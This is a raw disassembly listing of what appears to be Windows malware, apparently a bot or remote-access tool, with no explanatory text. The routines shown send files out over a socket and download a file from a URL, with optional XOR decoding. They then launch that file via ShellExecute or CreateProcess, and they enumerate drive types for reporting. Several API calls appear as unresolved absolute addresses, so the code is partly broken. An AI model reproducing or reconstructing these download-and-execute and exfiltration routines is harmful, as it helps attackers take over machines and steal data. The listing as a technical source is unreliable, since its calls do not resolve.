		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2730000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2760B9Eh
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 271129Ah
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		call	near ptr 2670770h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0A80h


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0A80h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2680A92h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2730000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2670770h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		call	near ptr 26F0A80h
		nop


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0A80h


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2730000h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0A80h
		nop


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		nop
		call	near ptr 26A07AFh
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2720000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26A07AFh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2670770h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 26709E4h
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0A80h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
